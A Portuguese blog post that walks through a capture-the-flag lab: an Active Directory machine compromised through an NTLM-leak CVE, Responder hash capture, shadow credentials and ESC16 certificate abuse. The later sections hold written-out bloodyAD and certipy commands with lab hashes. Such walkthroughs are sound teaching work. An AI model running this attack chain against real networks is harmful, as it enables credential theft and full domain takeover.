Em um pentest interno, além da enumeração de endereço ip e portas, é fundamental realizar uma varredura no compartilhamento de arquivos. Por padrão, uma credencial é disponibilizada e a mesma pode ser usadas para acesso ao sistema de arquivos.
O crackmapexec é uma ferramenta excelente para mapeamento de compartilhamentos e usuários. Outras boas ferramentas são o SMBMap e o SMBClient para acesso ao compartilhamento.
Acesso ao compartilhamento com o SMBClient
smbclient '//[IP]/[COMPARTILHAMENTO]' -U '[NOME]%[PASSWORD]'
Acessar o compartilhamento de arquivos na rede pode revelar informações relevantes para o atacante. Neste laboratório, o relatório Upgrade_Notice.pdf indica quais as vulnerabilidades encontradas no servidor.
CVE-2025-24071
Uma vulnerabilidade zero-day foi publicada em Maio de 2025 como CVE-2025-24071. Esta vulnerabilidade permite que atacantes capturem credenciais NTLM simplesmente enganando os usuários para que visualizem um arquivo malicioso no Windows Explorer.
NTLM, ou NT LAN Manager, é um conjunto de protocolos de segurança da Microsoft destinado a fornecer autenticação, integridade e confidencialidade aos usuários. A exploração aproveita os mecanismos de processamento automático de arquivos do Windows Explorer, especialmente ao manipular arquivos .library-ms incorporados em arquivos RAR ou ZIP. Após a extração, esses arquivos acionam handshakes de autenticação NTLM não intencionais com servidores SMB (Server Message Block) controlados pelo invasor (ex.: Responder), levando ao vazamento de hash NTLM.
A vulnerabilidade pode ser explorada em diversos cenários, cada um envolvendo interação mínima do usuário. Por exemplo, um atacante pode distribuir um arquivo malicioso por e-mail ou por um site comprometido, induzindo os usuários a baixá-lo e extraí-lo. Alternativamente, um invasor pode colocar o arquivo malicioso em uma pasta de rede compartilhada ou em um pendrive. Em cada caso, o ataque é executado sem a necessidade de o usuário abrir ou executar nenhum arquivo, aumentando significativamente a probabilidade de sucesso da exploração.
Como executar o exploit?
A vulnerabilidade é explorada quando um arquivo .ZIP contendo .library-ms é adicionado ao Windows Explorer e automaticamente, a biblioteca library-ms faz requisições de autenticação NTLM.
A conta disponibilizada para o teste possui acesso ao Windows Explorer (SMB), então posso adicionar o arquivo no compartilhamento.
Para capturar os hashes NTLM da rede, uso a ferramenta Responder.
Etapas do ataque:
[1] Cria o arquivo .ZIP com .library-ms por meio do exploit: 52310
[2] Adicionar o arquivo .ZIP no compartilhamento SMB do servidor (Windows Explorer)
[3] Usar a ferramenta Responder para capturar os hashes NTLM das requisições que a biblioteca library-ms realiza
No Kali, o Responder é nativo e pode ser executado com o comando:
responder -I [interface]
Adicionei o arquivo do exploit no compartilhamento de rede
Em seguida o arquivo é processado, ou seja, é descompactado e o hash NTLM da conta p.agila é capturado.
hashcat para fazer a quebra do hash offline
Como acessar o servidor AD?
O usuário p.agila não possui acesso por WinRM ao servidor.
O caminho do ataque até o momento indica que o usuário p.agila pode ser adicionado ao grupo Service Accounts e assim herdar a permissão GenericWrite sob a conta WINRM_SVC.
A permissão GenericWrite possibilita o ataque Kerberoasting, troca de senha da conta e o ataque de Shadow Credentials.
Etapas para capturar o hash NTLM das contas WINRM_SVC e CA_SVC por meio do ataque Shadow Credentials:
Adiciona o usuário p.agila ao grupo Service Accounts.
python3 bloodyAD.py -u [USER] -p [SENHA] -d [DOMINIO] --host [HOST] add groupMember '[GRUPO]' [USER-TO-ADD]
Em seguida, usamos a ferramenta certipy-AD para obter o hash NTLM das contas-alvo:
certipy shadow auto -u [USER]@[DOMINIO] -p [SENHA] -account [USER]
Com o hash NTLM, posso acessar o servidor por meio do protocolo WinRM com a técnica Pass-the-Hash e a ferramenta Evil-WinRM.
A escalação de privilégio é indicada pelo próprio laboratório ao perguntar qual conta pertence ao grupo Cert Publishers, e a resposta é a conta CA_SVC.
Qual vulnerabilidade pode ser explorada relacionada com serviço de certificado do AD? Usando a ferramenta certipy-AD podemos fazer um scan para buscar por esse tipo de vulnerabilidade.
O resultado mostra que o servidor é vulnerável a ESC16.
No resultado podemos notar que o AD é uma Autoridade Certificadora da rede, ou seja, o AD emite certificados para usuários e máquinas. O serviço AD-CS é o responsável por essa ação e essa configuração é chamada de PKI - Public Key Infrastructure.
O serviço AD-CS possui Security Extensions que determinam como os certificados podem ser emitidos (ex: restrições de nome alternativo, EKU, permissões, políticas, etc.).
ESC16 ocorre quando as extensões de segurança (Security Extensions) estão desativadas globalmente na Autoridade Certificadora (CA). Isso faz com que as verificações de segurança na emissão de certificados não sejam realizadas.
Com essa configuração vulnerável, qualquer usuário que tenha permissão para solicitar certificados pode:
-
Emitir certificados para contas privilegiadas (ex: Domain Admins)
-
Obter autenticação Kerberos ou LDAP como outro usuário (impersonation)
-
Assinar código ou e-mails em nome de outros
-
Ganhar acesso total ao domínio Active Directory (equivalente a DCSync ou Golden Ticket)
A conta CA_SVC herda a permissão do grupo Cert Publishers e pode solicitar um certificado ao AD. Mas, como a escalação de privilégio vai acontecer se a conta CA_SVC não tem permissão de admin no domínio? Abusando da permissão GenericWrite.
Todos os membros do grupo Service Account tem permissão GenericWrite entre si. A conta WINRM_SVC pode ser usada para modificar o atributo UPN (userPrincipalName) da conta CA_SVC.
O atributo UPN (User Principal Name) é o atributo do Active Directory que representa o nome principal de login de um usuário no formato usuario@dominio.
Tecnicamente ele está armazenado no atributo LDAP userPrincipalName do objeto user.
Principais pontos sobre o UPN:
-
É o “nome principal” usado por muitas soluções para identificação/assinatura: Single Sign-On, autenticação web, alguns fluxos Kerberos e também mapeamento em autenticação baseada em certificado (quando certificados contêm UPN no SAN).
-
O UPN normalmente tem duas partes: o nome de conta (prefixo) e o sufixo (UPN suffix), que costuma ser um domínio ou domínio alternativo configurado no AD (ex.: @corp.example.com).
-
Um mesmo usuário pode ter sAMAccountName diferente do userPrincipalName. O UPN é frequentemente o que usuários digitam como e-mail/username em aplicações modernas.
Abuso combinado com AD CS / autenticação baseada em certificado
Em ambientes onde a infraestrutura de certificados (AD CS) está mal configurada, o UPN presente em um certificado pode ser usado como identidade. Se um atacante consegue alterar seu UPN para corresponder ao UPN que será incluído no certificado, ele pode obter um certificado que alguns serviços aceitam como prova de identidade daquele usuário. Isso permite impersonação sem necessidade de senha.
Etapas:
[1] Lê p UPN da conta CA_SVC
certipy account -u winrm_svc@fluffy.htb -hashes 33bd09dcd697600edf6b3a7af4875767 -user ca_svc read
[2] Altera o UPN para administrator
certipy account -u winrm_svc@fluffy.htb -hashes 33bd09dcd697600edf6b3a7af4875767 -user ca_svc -upn administrator update
[3] Solicita ao AD um certificado usando a conta CA_SVC que tem o UPN como administrator
certipy req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User
[4] Atualiza o UPN da conta CA_SVC para o padrão
certipy account -u winrm_svc@fluffy.htb -hashes 33bd09dcd697600edf6b3a7af4875767 -user ca_svc -upn ca_svc@fluffy.htb update
[5] Com o certificado como administrator, solicita o hash NTLM da conta administrator
certipy auth -dc-ip 10.10.11.69 -pfx administrator.pfx -u administrator -domain fluffy.htb
[6] Com o hash da conta administrator é possível acessar o servidor AD, concluíndo a escalação de privilégio.
Mind Map Hacking
#HACKINGBR
Comentários
Postar um comentário